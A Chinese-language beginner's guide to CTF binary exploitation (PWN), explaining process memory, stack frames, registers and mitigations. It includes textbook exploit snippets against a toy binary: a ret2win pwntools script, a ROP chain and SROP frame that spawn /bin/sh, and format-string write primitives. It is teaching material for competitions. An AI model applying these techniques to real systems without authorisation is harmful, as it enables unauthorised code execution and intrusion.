写在前面:这份指南的目标是让你真正理解 PWN 是什么,而不是让你背诵一堆技术名词。当你读完这份文档,你应该能回答:我在学什么?为什么要学这些?学完能做什么?
适合谁读:
- 刚接触 CTF/PWN,知道这个方向的名字,但脑子里还没有清晰画面的人
- 会一点 C、Linux 或 Python,但还没把“程序、进程、内存、调试、利用”串成一条线的人
- 做过几道题,却经常停留在“照着 Exp 跑通了,但不知道自己到底做了什么”的人
这篇文章不解决什么:
- 它不会让你一口气学会堆利用、沙箱逃逸或真实世界复杂漏洞
- 它更像一篇“地基文”,帮你把后续要学的东西放到正确的位置上
快速阅读版
如果你现在时间不多,先记住下面这 8 句话:
- PWN 的核心不是背 payload,而是理解程序为什么会失控。
- 你真正攻击的对象,通常不是磁盘上的程序文件,而是运行中的进程状态。
- 栈、堆、寄存器、返回地址,是入门阶段最重要的几个关键词。
- 栈溢出的关键,不是“输入很长”,而是“长到覆盖了不该被你碰到的位置”。
buf[32]不等于偏移一定是 32,偏移最好用证据定位。p64(addr)的意义,不是拼字符串,而是把地址打包成程序真正接收的字节。- 拿到题先看交互、文件类型、保护,再决定怎么下手。
- 新手卡住很正常,很多问题最后都不是高深技巧,而是基础环节没对齐。
阅读建议
- 如果你是完全零基础:先读第 1 章、第 2 章、第 4.3 节、第 5.1 节、第 5.2 节、第 6 章、第 8.2 节。
- 如果你已经做过几道基础题:重点读第 4 章、第 5 章、第 6 章,把零散概念串成完整流程。
- 如果你只想查某个概念:直接利用右侧目录跳到对应章节即可,这篇文章不是必须从头线性读完。
第一章:PWN 的本质——你到底在学什么
1.1 一句话定义
PWN = 利用程序的漏洞,让程序执行它本不应该执行的操作。
最常见的目标是:获取 Shell(也就是获得命令行控制权,可以在目标机器上执行任意命令)。
1.2 为什么叫 “PWN”?
“PWN” 来自游戏圈的俚语 “own”(拥有/控制),表示完全控制了对方。在安全领域,PWN 一台机器意味着你获得了它的控制权。
1.3 PWN 的本质是什么?
让我用一个比喻来解释:
想象一个银行金库,有一套严格的安全流程:
- 验证身份
- 检查权限
- 打开特定的保险箱
- 取出/存入物品
- 关闭保险箱
- 记录日志
正常情况:员工按流程操作,一切井然有序。
PWN 做的事:找到流程中的漏洞,比如:
- 发现身份验证可以被绕过(认证绕过)
- 发现可以让系统”忘记”关闭保险箱(内存泄漏)
- 发现可以修改”下一步操作”的指示牌,让员工走向金库总控室(控制流劫持)
在计算机中:
- 银行 = 程序
- 安全流程 = 程序的执行流程
- 保险箱 = 内存中的数据
- 金库总控室 = 系统权限
1.4 PWN 的最终目标
| 层次 | 目标 | 你可以先怎么理解 |
|---|---|---|
| Level 1 | 信息泄露 | 读取本来不该读到的数据,比如地址、密码、密钥 |
| Level 2 | 拒绝服务 | 让程序崩溃或无法正常工作 |
| Level 3 | 任意代码执行 | 让程序执行你指定的操作,通常这是 PWN 的核心目标 |
| Level 4 | 权限提升 | 从普通权限进一步拿到更高权限,比如 root |
在 CTF 比赛中,最常见的目标是:
- 获取 Shell,然后读取 flag 文件
- 或者直接利用漏洞读取 flag
1.5 新手最容易误解的两件事
很多纯新手第一次听到 PWN,最容易掉进两个误区:
- 误区 1:PWN 就是敲几条神秘命令,然后程序自动爆炸
- 误区 2:只要背会几套 payload 模板,就算会做 PWN
这两个理解都不准确。
更接近事实的说法是:
- PWN 研究的是:程序为什么会在不该失控的地方失控
- 漏洞利用做的是:把这种失控,变成你可以精确利用的控制
比如一个程序本来只是想把你的输入放进缓冲区,但它没有把边界看好,于是你就有机会继续往后写,最后改到返回地址、函数指针、堆管理结构或者关键状态字段。
所以 PWN 不是“背答案”,而是“理解程序在运行时哪一块被你碰歪了,以及碰歪之后会发生什么”。
第二章:计算机的真相——程序是如何运行的
为什么要学这些? 因为 PWN 的本质是”欺骗”计算机。要欺骗它,你必须先理解它是如何工作的。
2.1 程序和进程,不要混为一谈
很多新手刚开始会把“程序”和“进程”混着说,但对 PWN 来说,这两个词最好尽早分开。
- 程序 (Program):躺在磁盘上的文件,比如
./vuln - 进程 (Process):程序被操作系统真正加载并运行后,活在内存里的那一次实例
你可以把程序理解成“菜谱”,把进程理解成“厨房里真正正在做菜的那一次”。漏洞利用发生在运行时,所以 PWN 真正关心的是:
- 这个进程当前的内存布局是什么
- 它的寄存器现在是什么值
- 它下一条将执行什么指令
- 你的输入最终改到了哪里
换句话说,PWN 攻击的对象,通常不是磁盘上的静态文件,而是正在运行的进程状态。
2.2 程序的一生
源代码 (.c)
│
▼ [编译器 gcc]
汇编代码 (.s)
│
▼ [汇编器 as]
目标文件 (.o)
│
▼ [链接器 ld]
可执行文件 (ELF)
│
▼ [操作系统加载器]
内存中运行的进程
你需要理解:
- 你写的 C 代码最终变成了什么?(机器指令)
- 程序是如何被加载到内存的?(ELF 格式)
- 程序运行时内存长什么样?(进程内存布局)
2.3 为什么 PWN 里到处都是十六进制
新手第一次看 PWN 资料时,经常会被一堆 0x401176、0xdeadbeef、0x7fffffffe2b0 吓到,感觉像在看天书。
其实它们本质上都只是数字,只不过用十六进制来写。
为什么大家不用十进制?
- 一个十六进制位刚好对应 4 个二进制位
- 两个十六进制位刚好对应 1 个字节
- 地址、寄存器值、机器码、内存内容都和“按位/按字节”天然相关
所以对二进制世界来说,十六进制其实是“最适合人类阅读的底层表示法”。
2.4 字节、位、64 位和小端序
你至少要先把这几个概念分清:
- bit(位):只有
0或1 - byte(字节):8 个 bit 组成 1 个 byte
- 64 位程序:很多核心数据宽度按 64 位处理,也就是 8 字节
这和 PWN 的关系非常直接,因为你后面经常会处理:
- 8 字节地址
- 8 字节返回地址
- 把一个整数按指定字节序打包进 payload
另一个必须尽早建立直觉的概念是:小端序 (Little Endian)。
假设一个 8 字节整数是:
0x1122334455667788
它作为“数”写出来时,是从高位到低位展示;但在常见的 x86-64 小端序内存里,它会按下面的顺序落到内存中:
88 77 66 55 44 33 22 11
你可以把它理解成两件事:
- 显示给人看的顺序,和
- 按字节摆进内存的顺序
不是同一回事。
这也是为什么你后面会看到 p64(0x401176) 这样的写法。它不是把字符串 "0x401176" 塞进程序,而是把这个整数按 8 字节、小端序,真正打包成程序能吃的原始字节。
2.5 标准输入、标准输出,和你手里的 payload 是什么关系
很多新手知道“程序会读输入”,但不太知道自己在终端里敲的东西,和程序内部看到的到底是什么关系。
一个最粗略但非常实用的理解是:
- stdin(标准输入):程序读输入的入口
- stdout(标准输出):程序正常打印输出的出口
- stderr(标准错误):程序报错信息常走这里
你在终端里输入一串字符,本质上通常就是把数据送进程序的 stdin。而当你写 pwntools 脚本时,你其实是在自动完成这件事:
- 读程序输出
- 等待提示词
- 发送原始字节或一行文本
这里有个很常见的坑:你眼睛看到几个字符,不一定等于程序实际收到了几个字节。
比如你手动输入 abc 再按回车,很多时候程序实际拿到的是:
a b c \n
也就是 4 个字节,其中回车对应的换行符 \n 也可能算在长度里。
2.6 进程内存布局——PWN 的战场
当一个程序运行时,操作系统会给它分配一块内存空间:
从低地址到高地址,常见区域可以先粗略理解成这样:
| 区域 | 作用 | PWN 里为什么重要 |
|---|---|---|
| Text | 程序代码段,通常只读 | 里面放着现成函数和 gadget |
| Data / BSS | 全局变量、静态变量 | 有时会放关键状态或指针 |
| Heap | 动态申请的内存 | 堆题的主战场 |
| Stack | 局部变量、函数调用现场 | 栈溢出最常发生在这里 |
| Kernel Space | 内核空间 | 用户态程序通常不能直接访问 |
补一个很重要的方向感:
- 栈通常向低地址方向增长
- 堆通常向高地址方向增长
关键概念:
- 栈 (Stack):后进先出,存放局部变量和函数调用信息
- 堆 (Heap):动态内存,malloc/free 管理
- 这两个区域是 PWN 的主战场
2.7 函数调用的秘密——栈帧
这是 PWN 最核心的知识点之一,请务必理解透彻。
当你调用一个函数时,栈上会发生什么?
void func(int a, int b) {
int x = 1;
int y = 2;
}
int main() {
func(10, 20);
return 0;
}
调用 func 时,你可以先把栈帧想成下面这组关键内容:
| 位置关系 | 常见内容 | 为什么重要 |
|---|---|---|
| 更靠近当前函数内部 | 局部变量、缓冲区 | 你的输入经常先写到这里 |
| 往上一层 | 保存的 rbp |
栈帧基准信息 |
| 再往上一层 | 返回地址 | ret 时 CPU 会跳去这里 |
| 更外层 | 调用者的栈帧 | 也就是上一个函数的现场 |
核心问题:
- 返回地址告诉 CPU “函数执行完后,下一条指令在哪里”
- 如果我们能修改返回地址,函数返回时就会跳到我们指定的地方!
- 这就是栈溢出攻击的本质
2.8 寄存器——CPU 的工作台
CPU 不直接操作内存,而是通过寄存器这个高速”工作台”。
x86-64 常用寄存器:
| 寄存器 | 用途 | PWN 中的意义 |
|---|---|---|
| RIP | 指令指针,指向下一条要执行的指令 | 控制 RIP = 控制程序流程 |
| RSP | 栈指针,指向栈顶 | 栈操作的基准 |
| RBP | 基址指针,指向当前栈帧的底部 | 定位局部变量 |
| RAX | 返回值 / 系统调用号 | 函数返回值、syscall 编号 |
| RDI | 第 1 个参数 | 函数/syscall 的第 1 个参数 |
| RSI | 第 2 个参数 | 函数/syscall 的第 2 个参数 |
| RDX | 第 3 个参数 | 函数/syscall 的第 3 个参数 |
最重要的一句话:
PWN 的核心目标之一就是控制 RIP(指令指针),让程序跳转到我们想要的地方。
2.9 系统调用——与操作系统对话
用户程序不能直接操作硬件,必须通过系统调用 (syscall) 请求操作系统帮忙。
用户程序 内核
│ │
│ syscall (rax=59, │
│ rdi="/bin/sh", │
│ rsi=0, rdx=0) │
│ ───────────────────────>│
│ │ 执行 execve("/bin/sh", 0, 0)
│ │
│ 返回 Shell │
│ <───────────────────────│
关键系统调用:
read (0):读取输入。PWN 里经常就是它把你的 payload 读进程序。write (1):输出数据。很多信息泄露都会和它有关。execve (59):执行程序。最经典的目标之一就是让程序执行execve("/bin/sh", NULL, NULL)。mprotect (10):修改内存权限。有些场景里会用它把原本不可执行的区域改成可执行。
获取 Shell 的本质:
让程序执行 execve("/bin/sh", NULL, NULL)
第三章:漏洞的本质——为什么程序会被攻击
3.1 漏洞从何而来?
漏洞的根源,通常可以先归成四类:
- 程序员的错误
忘记检查边界、类型转换失误、逻辑写错。 - 语言本身的特性
比如 C/C++ 允许你直接操作内存,也默认不帮你做很多边界检查。 - 代码复杂度
代码越大、状态越多、分支越复杂,越容易埋下 bug。 - 信任边界出了问题
程序把“不该完全相信的输入”当成了可信数据。
3.2 漏洞的分类
| 大类 | 常见例子 | 说明 |
|---|---|---|
| 内存破坏类 | 栈溢出、堆溢出、格式化字符串、UAF、越界读写、整数溢出 | PWN 最常见的主战场 |
| 逻辑漏洞 | 条件竞争、权限检查不当 | 不一定靠内存破坏,也能造成严重后果 |
| 其他 | 信息泄露、拒绝服务 | 有时本身就是目标,有时是后续利用的前置条件 |
3.3 漏洞利用的通用模型
无论什么漏洞,利用的本质都是:
输入恶意数据 -> 触发漏洞 -> 改变程序状态 -> 达成目标
payload bug corruption shell / leak / control
具体到栈溢出:
输入超长字符串 ──> 覆盖返回地址 ──> 函数返回时跳转到恶意代码 ──> 获取 Shell
第四章:学习路线图——你的升级打怪之路
4.1 完整路线图
| 阶段 | 周期 | 重点内容 |
|---|---|---|
| 基础阶段 | 1-3 个月 | C 语言、Linux 基础、汇编、GDB、栈溢出 |
| 进阶阶段 | 3-6 个月 | ROP、格式化字符串、堆利用基础、保护机制绕过、ret2libc |
| 高级阶段 | 6 个月以上 | 内核 PWN、浏览器 PWN、真实漏洞分析、漏洞挖掘 |
4.2 基础阶段详解(1-3个月)
目标:能够独立完成简单的栈溢出题目
4.2.1 C 语言(1-2 周)
你需要掌握:
- 指针的概念和使用
- 数组与内存的关系
- 结构体
- 常见的危险函数:
gets,strcpy,sprintf,scanf
为什么重要:大部分 PWN 题目的目标程序是 C 写的,你需要能看懂代码。
4.2.2 Linux 基础(1 周)
你需要掌握:
- 基本命令:
ls,cd,cat,chmod,file - 文件权限概念
- 进程概念
- 管道和重定向
为什么重要:PWN 的目标通常是获取 Linux Shell。
如果你平时主要使用 Windows,那么非常建议直接用 WSL2 + Ubuntu 来做入门实验。原因很现实:
- 大多数入门题目标都是 Linux ELF
gcc、gdb、readelf、objdump、pwntools、checksec这一套在 Linux 环境里最顺手- 你越早把实验环境放到接近真实题目的地方,后面越少被“工具不对、路径不对、格式不对”这些问题反复绊住
4.2.3 汇编语言(2-3 周)
你需要掌握:
- 常见指令:
mov,push,pop,call,ret,lea,cmp,jmp - 函数调用约定
- 能读懂简单的汇编代码
为什么重要:程序最终以汇编/机器码运行,你需要理解程序真正在做什么。
推荐学习方式:
不要背指令。更好的方式是边调试边认:看到
mov rax, rbx,就去 GDB 里看它到底让哪些寄存器变了。
4.2.4 GDB 调试(1 周)
你需要掌握:
# 基本命令
r (run) # 运行程序
b *地址 (break) # 设置断点
c (continue) # 继续执行
si (stepi) # 单步执行(进入函数)
ni (nexti) # 单步执行(跳过函数)
x/格式 地址 # 查看内存
p 表达式 # 打印值
info registers # 查看寄存器
bt (backtrace) # 查看调用栈
为什么重要:调试是 PWN 的核心技能,你需要观察程序的实际行为。
4.2.5 栈溢出基础(2-3 周)
学习路径:
- 理解栈的结构,能画出函数调用时的栈布局。
- 手动触发崩溃,观察程序为什么会崩。
- 精确计算偏移,确认自己什么时候碰到了返回地址。
- 做 ret2text,先学会跳转到程序里已有的函数。
- 在没有 NX 的环境里,再去理解 ret2shellcode 这类更直接的执行方式。
4.3 如果你是零基础,可以先按 7 天打通第一条链
如果你不是“已经有系统基础、准备系统刷题”的读者,而是真正意义上的零基础,那么比起一上来追求做很多题,更推荐你先用一周时间把第一条闭环跑通。
一个很实用的 7 天启动计划可以是这样:
| 天数 | 目标 |
|---|---|
| 第 1 天 | 搭好实验环境,分清自己是在什么终端里,能稳定完成“写 C 程序 -> 编译 -> 运行” |
| 第 2 天 | 建立程序、进程、地址、字节、十六进制、小端序、栈和堆的基本直觉 |
| 第 3 天 | 第一次真正用 GDB 看寄存器、栈和反汇编,敢于停下来观察现场 |
| 第 4 天 | 把 file、strings、checksec、objdump、gdb、pwntools 串成一条工作流 |
| 第 5 天 | 做出第一个 ret2win,真正把“偏移 -> 地址 -> payload -> 劫持返回”跑通 |
| 第 6 天 | 认识 NX、Canary、PIE、RELRO、ASLR,明白为什么昨天那招今天不灵了 |
| 第 7 天 | 把前面的知识整理成“拿到题后第一轮应该先做什么”的最小流程 |
这 7 天的目标不是“学会所有技术”,而是把最关键的第一条链打通。因为从“完全没有抓手”到“能把一个最小利用闭环跑通”,通常是新手最难跨过去的一段。
4.4 进阶阶段详解(3-6个月)
目标:能够绕过常见保护机制,完成中等难度题目
4.4.1 保护机制
- Canary(Stack Canary)
作用:检测栈溢出。
第一反应:如果没有泄露到 canary,很多最直接的覆盖返回地址思路会先被它拦住。 - NX(No-Execute)
作用:让栈等数据区域不可执行。
第一反应:不能再默认“把 shellcode 塞到栈里然后直接跳过去跑”,通常要转向 ROP。 - PIE(Position Independent Executable)
作用:让程序本体地址随机化。
第一反应:函数地址往往不能直接写死,通常要先泄露地址再算基址。 - ASLR(Address Space Layout Randomization)
作用:让栈、堆、库等内存区域每次运行时位置变化。
第一反应:同一次调试里看到的地址,不一定能下一次照抄。 - RELRO(Relocation Read-Only)
作用:限制 GOT 等重定位相关区域的修改。
第一反应:如果是 Full RELRO,很多“改 GOT”的常见思路就会受限,需要换攻击面。
4.4.2 ROP 技术(Return Oriented Programming)
核心思想:既然不能执行自己的代码(NX),就利用程序中已有的代码片段(gadget)。
传统攻击:
返回地址 ──> 你的 shellcode
ROP 攻击:
返回地址 ──> gadget1 ──> gadget2 ──> gadget3 ──> ... ──> 目标函数
│ │ │
pop rdi pop rsi syscall
学习路径:
ret2text:最简单,先跳到程序自身已有函数。ret2syscall:学会用 gadget 拼系统调用。ret2libc:开始复用 libc 里的函数和字符串。ret2csu:利用__libc_csu_init一类现成片段控制参数。SROP:进一步理解如何一次性控制更多寄存器。
4.4.3 格式化字符串漏洞
漏洞代码:
printf(user_input); // 危险!
// 应该是 printf("%s", user_input);
能做什么:
- 读取栈上的数据:
%x,%p,%s - 读取任意地址:
%n$s(n 是偏移) - 写入任意地址:
%n
4.4.4 堆利用基础
堆的特点:
- 动态分配(malloc/free)
- 复杂的管理结构(chunk、bins)
- 更多的攻击面
学习路径:
- 先理解
glibc malloc的基本结构和 chunk 概念。 - 学
fastbin attack。 - 学
unsorted bin attack。 - 学
tcache attack。 - 再进入
house of系列等更系统的堆利用思路。
4.5 高级阶段(6个月+)
- 内核 PWN:攻击操作系统内核
- 浏览器 PWN:攻击 Chrome/Firefox 等
- 真实漏洞分析:CVE 复现
- 漏洞挖掘:自己发现新漏洞
第五章:核心知识点详解
5.1 栈溢出——PWN 的入门之道
为什么会发生栈溢出?
void vulnerable() {
char buffer[64]; // 只分配了 64 字节
gets(buffer); // 但 gets 不检查长度,可以无限读取
}
利用原理
正常时,你可以把它想成:
buffer里装的是你的输入saved rbp还保持正常- 返回地址还是原来的值,比如
0x401234
溢出后,情况会变成:
- 你的输入先填满
buffer - 再继续覆盖到
saved rbp - 最后继续往上,改到返回地址
也就是说,像 b"A" * 72 + p64(0xdeadbeef) 这样的输入,最终可能把返回地址改成你指定的目标地址。
偏移计算方法
方法 1:手动计算
偏移 = buffer大小 + saved_rbp大小
= 64 + 8 = 72 字节
方法 2:使用 pattern(推荐)
# 生成特征字符串
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
# 找到崩溃时 RIP 的值,计算偏移
$ cyclic -l 0x6161616c
72
5.2 第一个 ret2win:把原理真正跑成闭环
很多人第一次真正“懂了栈溢出”,不是在看到定义的那一刻,而是在第一次亲手让程序不按正常流程返回、而是跳进 win() 的那一刻。
一个经典教学程序通常长这样:
#include <stdio.h>
#include <unistd.h>
void win() {
puts("you win");
}
void vuln() {
char buf[32];
puts("input:");
read(0, buf, 200);
}
int main() {
vuln();
return 0;
}
为了让最基础的原理更容易看清,教学时常把它编译成这样:
gcc -g -fno-stack-protector -no-pie vuln.c -o vuln
这几个选项的意义分别是:
-g:带上调试信息,方便 GDB 把源码和机器指令对起来-fno-stack-protector:关闭 canary,让你先看清最直接的覆盖返回地址-no-pie:关闭 PIE,让程序代码地址固定,方便做第一个 ret2win
完整思路通常是下面这几步:
- 先把程序跑起来,确认它怎么交互
./vuln
看它是一次性输入,还是菜单题,还是多轮交互。别一上来就写 Exp。
- 先看二进制是什么、开了什么保护
file ./vuln
checksec ./vuln
如果你的环境里没有单独的 checksec,也常见写成:
pwn checksec ./vuln
- 找到目标函数地址
nm ./vuln | grep " win$"
objdump -d ./vuln | grep "<win>"
如果没有开 PIE,那么这里看到的 win 地址通常是固定的。
- 不要猜偏移,用 cyclic 定位
cyclic 200 > pattern.txt
gdb ./vuln
在 GDB 里运行:
run < pattern.txt
info registers
x/20gx $rsp
如果你在崩溃现场的寄存器或栈上看到了模式串污染出来的值,再反查偏移:
cyclic -l 0x6161616c
这里有个非常重要的认知:buf[32] 不代表偏移一定就是 32。
因为从缓冲区到真正的返回地址之间,往往还隔着保存的 rbp 等内容。所以你最好把“找偏移”当成一个需要证据的步骤,而不是靠肉眼猜。
- 构造 payload
假设你最后确认:
- 偏移是
40 win地址是0x401176
那么 payload 的逻辑就是:
payload = b"A" * 40 + p64(0x401176)
这句里最容易被新手忽略的一点是:p64 不是在拼字符串 "0x401176",而是在把这个整数按 64 位、小端序 打包成 8 个原始字节。这正是“你看懂了地址”和“你真的能把地址塞进程序”之间的差别。
一个最小的 pwntools 脚本可以写成:
from pwn import *
context.log_level = "debug"
io = process("./vuln")
offset = 40
win_addr = 0x401176
payload = b"A" * offset + p64(win_addr)
io.recvuntil(b"input:\n")
io.send(payload)
io.interactive()
如果程序是菜单题,或者它需要你按回车提交,那么你更常见到的是:
io.sendlineafter(b"> ", b"1")
它的意思是:等程序输出提示词以后,再发一整行输入。
为什么明明“跳到了目标地址”,却还是没有结果?
这时优先排查下面几件事:
- 偏移算错了,根本没真正覆盖到返回地址
- 地址写错了,或者程序开了 PIE,地址并不是固定的
- 程序还在等换行、等菜单、等第二次输入
- 你拼的是文本字符串,不是原始字节
- 栈对齐出了问题,导致目标调用没有像你想的那样正常执行
对新手来说,最实用的排错方式不是一上来怀疑高阶技巧,而是先确认三件事:偏移对不对、地址对不对、程序到底有没有收到你以为它收到了的输入。
5.3 ROP 技术——绕过 NX 的艺术
什么是 Gadget?
Gadget 是以 ret 结尾的短代码片段:
; gadget 1: pop rdi; ret
pop rdi
ret
; gadget 2: pop rsi; ret
pop rsi
ret
ROP Chain 构造
目标:执行 system("/bin/sh")
# 栈布局
payload = b'A' * offset # 填充
payload += p64(pop_rdi_ret) # gadget: pop rdi; ret
payload += p64(binsh_addr) # "/bin/sh" 的地址,会被 pop 到 rdi
payload += p64(system_addr) # system 函数地址
执行流程:
1. 函数返回,RIP = pop_rdi_ret
2. 执行 pop rdi,rdi = binsh_addr
3. 执行 ret,RIP = system_addr
4. 执行 system(rdi),即 system("/bin/sh")
5. 获得 Shell!
5.4 格式化字符串——读写任意内存
基本原理
printf 的参数通过栈/寄存器传递:
printf("%d %d %d", a, b, c);
// a, b, c 依次在 rsi, rdx, rcx (x64)
如果只写 printf(user_input),printf 会从栈上读取”参数”:
printf("%p %p %p"); // 会打印栈上的值
利用技巧
泄露栈数据:
%p → 打印一个栈上的值
%n$p → 打印第 n 个"参数"
%s → 把栈上的值当地址,打印该地址的字符串
写入数据:
%n → 把已打印字符数写入地址
%hn → 写入 2 字节
%hhn → 写入 1 字节
5.5 SROP——Sigreturn Oriented Programming
原理
Linux 信号处理机制:
- 信号到来时,内核将所有寄存器保存到用户栈(Signal Frame)
- 执行信号处理函数
- 调用
sigreturn系统调用,从栈上恢复寄存器
攻击思路:伪造 Signal Frame,调用 sigreturn,控制所有寄存器!
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = binsh_addr # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
5.6 堆利用基础概念
Chunk 结构
┌─────────────────┐
│ prev_size │ ← 前一个 chunk 的大小(如果前一个是 free 的)
├─────────────────┤
│ size │ ← 当前 chunk 大小 + 标志位
├─────────────────┤
│ │
│ user data │ ← malloc 返回的指针指向这里
│ │
└─────────────────┘
常见攻击手法
| 攻击 | 原理 | 效果 |
|---|---|---|
| Fastbin Attack | 修改 fastbin 的 fd 指针 | 分配到任意地址 |
| Unsorted Bin Attack | 利用 unsorted bin 的解链操作 | 向目标地址写入大数 |
| Tcache Poisoning | 修改 tcache 的 next 指针 | 分配到任意地址 |
第六章:工具链——你的武器库
6.1 拿到二进制后的第一轮工作流
很多新手一拿到题就急着写 Exp,但更稳的方式通常是先走完下面这轮“信息收集”:
- 先运行程序
看它是一次性输入、菜单题,还是多轮交互。 - 用
file看类型
确认是不是 ELF、多少位、是不是小端。 - 用
checksec看保护
先知道 Canary、NX、PIE、RELRO 在不在。 - 用
strings粗扫可见信息
菜单、提示词、可疑字符串、路径、函数名都有可能先露出来。 - 用
nm、objdump、readelf看符号和反汇编
找函数、找地址、找 GOT/PLT、找调用关系。 - 再决定去 GDB、IDA、Ghidra,还是直接看源码
这套顺序看上去很朴素,但它能帮你避免一种特别常见的低效:还没弄清输入输出和保护,就开始硬猜 payload。
6.2 必备工具
| 工具 | 用途 | 重要程度 |
|---|---|---|
| pwntools | Python 漏洞利用框架 | ⭐⭐⭐⭐⭐ |
| GDB + pwndbg/peda | 调试 | ⭐⭐⭐⭐⭐ |
| IDA Pro / Ghidra | 反汇编、反编译 | ⭐⭐⭐⭐⭐ |
| checksec | 检查保护机制 | ⭐⭐⭐⭐ |
| ROPgadget / ropper | 寻找 gadget | ⭐⭐⭐⭐ |
| one_gadget | 寻找 libc 中的 one gadget | ⭐⭐⭐ |
| LibcSearcher | 根据泄露信息查找 libc 版本 | ⭐⭐⭐ |
6.3 pwntools 快速入门
from pwn import *
# 设置架构
context(arch='amd64', os='linux')
# 连接目标
io = process('./vuln') # 本地
io = remote('ip', port) # 远程
# 接收和发送
io.recv() # 接收数据
io.recvuntil(b'>') # 接收直到某字符串
io.send(b'data') # 发送数据
io.sendline(b'data') # 发送数据 + 换行
# 打包数据
p64(0xdeadbeef) # 64位小端打包
p32(0xdeadbeef) # 32位小端打包
u64(b'\xef\xbe\xad\xde') # 解包
# 获取 Shell
io.interactive()
如果你刚开始做本地题,可以先用一个非常线性的模板:
from pwn import *
context.binary = "./vuln"
context.log_level = "debug"
io = process("./vuln")
# 先把观察到的关键信息写在这里
offset = 40
win_addr = 0x401176
payload = b"A" * offset + p64(win_addr)
io.send(payload)
io.interactive()
这类模板的价值,不在于“高级”,而在于你一眼能看懂每一步在做什么,出了问题也更容易定位。
6.4 GDB + pwndbg 常用命令
# 启动
gdb ./binary
gdb -p PID # 附加到进程
# pwndbg 特有命令
vmmap # 查看内存映射
heap # 查看堆状态
bins # 查看 bins
canary # 显示 canary 值
telescope 地址 # 智能显示内存
cyclic 100 # 生成特征字符串
cyclic -l 0x61616166 # 计算偏移
很多新手会被 x/20gx $rsp 这种命令吓到,其实它完全可以拆成普通话:
x:examine,查看内存20:看 20 个单位g:按 8 字节一组看x:按十六进制显示$rsp:从当前栈顶指针指向的位置开始看
学 GDB 时很重要的一步,就是把这些“看上去很黑客”的命令,重新拆回你自己能听懂的人话。
程序停下来以后,优先看三件事:
RIP在哪里,程序现在停在什么位置RSP附近长什么样,栈有没有被你的输入污染- 接下来马上会执行什么指令
你越早养成“停住后先看现场”的习惯,后面排错就越稳。
第七章:从 CTF 到真实世界
7.1 CTF PWN vs 真实漏洞
| 方面 | CTF | 真实世界 |
|---|---|---|
| 目标 | 获取 flag | 获取权限/数据 |
| 程序 | 简化的小程序 | 复杂的大型软件 |
| 漏洞 | 明显且单一 | 隐蔽且可能需要组合 |
| 时间 | 几小时到几天 | 可能几周到几月 |
| 环境 | 已知且固定 | 需要信息收集 |
7.2 学习 CTF PWN 的意义
- 建立基础知识体系
你会真正理解程序运行原理、漏洞成因和利用链条。 - 锻炼逆向思维
你会更习惯从攻击者视角去问“哪里能被错误控制”。 - 提升调试能力
GDB、pwntools、反汇编工具都会在实践里越来越熟。 - 为后续方向铺路
无论是漏洞研究、安全开发还是真实环境分析,这套基础都很有价值。
7.3 进阶方向
- 漏洞研究:分析 CVE、复现公开漏洞、尝试挖新洞。
- 安全开发:把你从攻击面学到的经验,反过来用在安全编码和审计上。
- 红队 / 渗透测试:在授权环境中做更贴近实战的攻击链分析。
- 安全产品开发:做检测、防护、监控、分析类工具。
第八章:心态与方法论
8.1 新手常见误区
- 误区 1:追求做题数量,不求理解
更好的做法是:一道题彻底理解,通常比十道题囫囵吞枣更有价值。 - 误区 2:只看 WriteUp,不动手
WriteUp 是参考,不是替代。你最好亲手调试、亲手复现。 - 误区 3:遇到困难就放弃
卡住是学习过程的一部分,不是你不适合学这个方向。 - 误区 4:急于求成,跳过基础
基础不牢,后面学到的技巧通常也会很快散掉。
8.2 纯新手最容易卡住的地方
很多“题打不通”的问题,最后并不是高深技巧不会,而是前面这些基础点没对齐:
- 没分清自己现在是在 PowerShell、macOS 终端,还是 Ubuntu/WSL 里
- 站错目录,导致
./vuln、gdb ./vuln、python3 exp.py全部报找不到文件 - 把地址当普通文本拼,而不是按二进制字节拼进 payload
- 忘了小端序
- 看见
buf[32]就武断认为偏移一定是 32 - 程序明明是交互式的,却还在用最粗暴的一次性输入
- 完全没看保护,就开始抄 payload
- GDB 只会
run,不会看寄存器和栈
如果你以后遇到“怎么就是打不通”,特别建议先按这张表自查一遍。
还有一个很重要的能力是:把现象翻译成人话。
| 现象 | 先想到什么 |
|---|---|
Segmentation fault |
程序访问了不该访问的内存,崩了 |
栈上看到一大片 0x41414141... |
你的输入 A 已经灌进了关键位置 |
| 改了返回地址后没到目标函数 | 先查偏移、地址、保护、输入方式 |
| 地址每次都变 | 很可能有 PIE / ASLR 在起作用 |
你能把现象翻译回普通话,下一步就更容易判断。
8.3 高效学习方法
你可以把 PWN 的学习过程理解成一个循环:
学习理论 -> 做题实践 -> 总结记录 -> 再回到学习理论
具体建议:
每道题都要调试
- 不要只运行 exp,要用 GDB 单步跟踪
- 理解每一步发生了什么
记录学习笔记
- 总结漏洞原理
- 记录踩过的坑
- 建立自己的 exp 模板库
循序渐进
- 先做简单题,建立信心
- 逐步增加难度
- 不要一开始就挑战高难度
善用社区
- CTF Wiki、看雪论坛、CTF Time
- 不懂就问,但先自己思考
8.4 推荐资源
入门书籍/文档:
- 《CTF 竞赛权威指南 PWN 篇》
- CTF Wiki: https://ctf-wiki.org/
- pwn.college: https://pwn.college/
练习平台:
- pwnable.kr
- pwnable.tw
- BUUCTF
- 攻防世界
社区:
- CTF Time
- 看雪论坛
- 各大战队博客
结语
PWN 的学习是一个漫长但有趣的过程。当你第一次成功获取 Shell 时,那种成就感是无与伦比的。
记住:
理解原理比记忆技巧更重要。
每一次失败都是向成功迈进的一步。
保持好奇心,享受这个过程。
祝你在 PWN 的世界里玩得开心!🚀